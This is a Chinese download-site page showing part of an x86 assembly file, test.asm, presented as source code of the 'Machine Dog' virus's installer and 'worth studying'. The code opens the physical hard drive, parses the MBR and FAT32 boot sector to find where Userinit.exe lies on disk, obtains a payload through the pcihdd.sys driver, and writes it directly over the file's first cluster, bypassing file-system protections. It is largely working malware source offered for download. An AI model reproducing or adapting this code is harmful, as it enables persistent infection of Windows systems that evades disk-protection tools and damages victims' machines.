⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 test.asm

📁 机器狗病毒的驱动程序源代码,值得好好学习
💻 ASM
📖 第 1 页 / 共 2 页
字号:
       call    RtlZeroMemory

push  110h            ;初始化
lea  eax, OutBuffer
push  eax
call  RtlZeroMemory

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpBytesReturned
push  110h    ; nOutBufferSize
lea  eax, OutBuffer
push  eax    ; lpOutBuffer
push  8    ; nInBufferSize
lea  eax, InBuffer
push  eax    ; lpInBuffer
push  90073h    ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push  hObject   ; hDevice
call  DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
or  eax, eax
jz  DeviceIoControlFailed

;这个结构是8字节对齐的,结构长度32字节  
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
;    DWORD ExtentCount;
;    LARGE_INTEGER StartingVcn;
;    struct
;    {
;        LARGE_INTEGER NextVcn;
;        LARGE_INTEGER Lcn;
;    } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

;typedef union union 
;{  
;   struct 
;   {    
;       DWORD LowPart;    
;       LONG HighPart;  
;   };  
;   LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;


lea  edi, OutBuffer    ;OutBuffer是上面结构体指针
mov  ebx, [edi]        ;ExtentCount = Extents数组元素个数
lea  edi, [edi+10h]    ;指向Extents数组首地址,根据字节对齐
mov  eax, DistanceToMoveHigh
or  ebx, ebx          ;判断ExtentCount是否为0
jz  ExtentCountIsZero 

mov  eax, [edi+8]    ;指向Extents[0].Lcn.LowPart
mov  edx, [edi+0Ch]  ;指向Extents[0].Lcn.HighPart
cmp  eax, 0FFFFFFFFh
jz  FEIHUA
cmp  edx, 0FFFFFFFFh
jz  FEIHUA

mov  dwLowPartofLcn, eax  ;保存lcn低32位
mov  dwHighPartofLcn, edx ;保存lcn高32位

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesRead
push  200h    ; nNumberOfBytesToRead
lea  eax, Buffer
push  eax    ; lpBuffer
push  hObject          ; hFile
call  ReadFile        ;读取userinit文件开头512字节

push  hObject          ; hObject
call  CloseHandle     
mov  hObject, 0      ;关闭文件

push  0    ; hTemplateFile
push  0    ; dwFlagsAndAttributes
push  3    ; dwCreationDisposition
push  0    ; lpSecurityAttributes
push  3    ; dwShareMode
push  0C0000000h  ; dwDesiredAccess
push  offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call  CreateFileA        ;打开物理硬盘读写
cmp  eax, 0FFFFFFFFh
jz  OPENPHYSICSFAILED
mov  hFile, eax

push  0    ; dwMoveMethod
push  0    ; lpDistanceToMoveHigh
push  0    ; lDistanceToMove
push  hFile          ; hFile
call  SetFilePointer  ; 定位

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesRead
push  200h    ; nNumberOfBytesToRead
lea  eax, PhysicalBuff
push  eax    ; lpBuffer
push  hFile          ; hFile
call  ReadFile        ;读取硬盘主引导分区MBR
;  
;  0000 |------------------------------------------------| 
;            |                                                                | 
;            |                                                                | 
;            |             Master Boot Record               | 
;            |                                                                | 
;            |                                                                | 
;            |             主引导记录(446字节)             | 
;            |                                                                | 
;            |                                                                | 
;            |                                                                | 
;      01BD  |                                                         |
;      01BE  |------------------------------------------------|
;            |                                                |
;      01CD  |             分区信息  1(16字节)                | 
;      01CE  |------------------------------------------------| 
;            |                                                | 
;      01DD  |             分区信息  2(16字节)                | 
;      01DE  |------------------------------------------------| 
;            |                                                |
;      01ED  |             分区信息  3(16字节)                |
;      01EE  |------------------------------------------------| 
;            |                                                | 
;      01FD  |             分区信息  4(16字节)                | 
;            |------------------------------------------------|      
;            | 01FE                | 01FF                     | 
;            |         55          |           AA             | 
;            |------------------------------------------------|
;分区表
;
;    分区表是一个链表,主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求, 因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。
;
;    主分区表是从主引导扇区第0x1BE字节开始的,共64个字节,最后是0x55AA。64个字节的分区信息分为四组,每16字节为一组。每组的数据结构是这样的:
;
;typedef struct
;{
;    BYTE  byState;//分区状态, 0 = 未激活, 0x80 = 激活 
;    BYTE  byBeginHead;//分区起始磁头号
;    WORD  wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位
;    BYTE  byFSID;  //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
;    BYTE  byEndHead;//分区结束磁头号
;    WORD  wEndSC;//分区结束扇区和柱面号
;    DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址
;    DWORD dwSectors;//分区大小 (总扇区数)
;} INFOAREA_PARAM;//磁盘的分区信息

lea  edi, PhysicalBuff
cmp  byte ptr [edi+1BEh], 80h  ;byState判断是否为活动分区
jnz  NOTACTIVEDISK
movzx  ebx, byte ptr [edi+1C2h]  ;byFSID判断分区类型
cmp  ebx, 0Bh
jz  FAT32                     ;Win95 FAT32 
cmp  ebx, 0Ch
jz  FAT32                     ;Win95 FAT32 LBA
cmp  ebx, 7
jnz  NTFS                      ;HPFS/NTFS

FAT32:
mov  eax, [edi+1C6h]          ;C盘起始扇区(首扇区的相对扇区号)
mov  StartSectorC, eax
xor  edx, edx
imul  eax, 200h                ;求出实际的字节偏移
mov  DistanceToMoveHigh, edx
mov  ecx, eax

push  0    ; dwMoveMethod
lea  eax, DistanceToMoveHigh
push  eax    ; lpDistanceToMoveHigh
push  ecx    ; lDistanceToMove
push  hFile          ; hFile
call  SetFilePointer   ;定位到硬盘C盘起始扇区的绝对位置

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesRead
push  200h    ; nNumberOfBytesToRead
lea  eax, PhysicalBuff
push  eax    ; lpBuffer
push  hFile  ; hFile
call  ReadFile        ;读硬盘C盘起始扇区 即:第一个分区的引导扇区BPB

lea  edi, PhysicalBuff
movzx  eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量
add  StartSectorC, eax
cmp  ebx, 0Bh               ;Win95 FAT32 
jz  WIN95FAT32
cmp  ebx, 0Ch               ;Win95 FAT32 LBA
jnz  short FAT32LBA

WIN95FAT32:
movzx  ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数
mov  eax, [edi+24h]         ; BPB_FATSz32 = 每个FAT占用扇区数
xor  edx, edx
imul  eax, ecx
add  StartSectorC, eax      ;数据记录起始扇区

FAT32LBA:
mov  eax, dwLowPartofLcn
mov  edx, dwHighPartofLcn
movzx  ecx, byte ptr [edi+0Dh]   ;BPB_SecPerClus =  每簇多少扇区
mov  nNumberOfBytesToWrite, ecx
imul  eax, ecx
add  eax, StartSectorC
adc  edx, 0
imul  eax, 200h             ;求出绝对偏移字节位置
mov  HighOffset, edx       ;偏移高32位
mov  lDistanceToMove, eax  ;低32位

push  0    ; dwMoveMethod
lea  eax, HighOffset
push  eax    ; lpDistanceToMoveHigh
push  lDistanceToMove ; lDistanceToMove
push  hFile          ; hFile
call  SetFilePointer

push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesRead
push  200h    ; nNumberOfBytesToRead
lea  eax, PhysicalBuff
push  eax    ; lpBuffer
push  hFile    ; hFile
call  ReadFile        ;在找到的硬盘扇区读

lea  edi, PhysicalBuff
lea  esi, Buffer
mov  ecx, 200h
repe cmpsb              ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据,确定定位是否正确 

or  ecx, ecx
jnz  DIFF           

push  0    ; dwMoveMethod
lea  eax, HighOffset
push  eax    ; lpDistanceToMoveHigh
push  lDistanceToMove ; lDistanceToMove
push  hFile  ; hFile
call  SetFilePointer  ;重新定位到上面找到的硬盘扇区处

mov  eax, nNumberOfBytesToWrite
shl  eax, 9                      ;这个值是作者估算的
mov  nNumberOfBytesToWrite, eax

push  nNumberOfBytesToWrite ; dwBytes
push  40h          ; uFlags
call  GlobalAlloc
or  eax, eax
jz  ALLOCMEMORYFAILED
mov  lpBuffer,eax

mov  ecx, offset MessageBoxA
sub  ecx, offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"

       ;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,
push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpBytesReturned
push  nNumberOfBytesToWrite ; nOutBufferSize
push  lpBuffer  ; lpOutBuffer
push  ecx    ; nInBufferSize
push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push  0F0003C04h  ; dwIoControlCode
push  hDevice    ; hDevice
call  DeviceIoControl

;并将pcihdd返回的数据直接写入userinit.exe的第一簇
push  0    ; lpOverlapped
lea  eax, DistanceToMoveHigh
push  eax    ; lpNumberOfBytesWritten
push  nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push  lpBuffer  ; lpBuffer
push  hFile    ; hFile
call  WriteFile

push  hFile  ; hFile
call  FlushFileBuffers
mov  dwRet, 0
jmp  OVER

ALLOCMEMORYFAILED:
   ; "分配内存不成功"
mov  dwRet, offset aFCJ

OVER:      ; hMem
push  lpBuffer
call  GlobalFree
jmp  FINISHED

DIFF:
mov  dwRet, offset ERR1
jmp  FINISHED

NTFS:
mov  dwRet, offset ERR2
jmp  FINISHED

NOTACTIVEDISK:  
mov  dwRet, offset ERR3 

FINISHED:    ; hObject
push  hFile
call  CloseHandle
jmp  OPENPHYSICSFAILED

FEIHUA:
mov  dwRet, offset ERR4

OPENPHYSICSFAILED: ;打开硬盘设备失败
jmp  ExtentCountIsZero

DeviceIoControlFailed:
mov  dwRet, offset ERR5

ExtentCountIsZero:
cmp  hObject, 0
jz  ZeroObject
push  hObject  ; hObject
call  CloseHandle
jmp  ZeroObject

CreateUserInitFileFailed:
mov  dwRet, offset ERR6

ZeroObject:    ; hObject
push  hDevice
call  CloseHandle
jmp  EXIT

CreateFileFailed:
mov  dwRet, offset ERR7

EXIT:
popa
mov  eax, dwRet
ret   
DoMyWork endp


start proc
push  0    ; lpModuleName
call  GetModuleHandleA
mov  hModule, eax
call  LoadServiceFromRes ;load service from resource

push  100h    ; nSize
push  offset Dst  ; lpDst
push  offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call  ExpandEnvironmentStringsA

push  offset Dst  ; lpFileName
call  DoMyWork
or  eax, eax
jnz  FAILED
push  offset OutputString ; 
call  OutputDebugStringA
jmp  Exit

FAILED:    ; lpOutputString
push  eax
call  OutputDebugStringA

Exit:
call  QuitService
push  0    ; uExitCode
call  ExitProcess
start endp

end start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -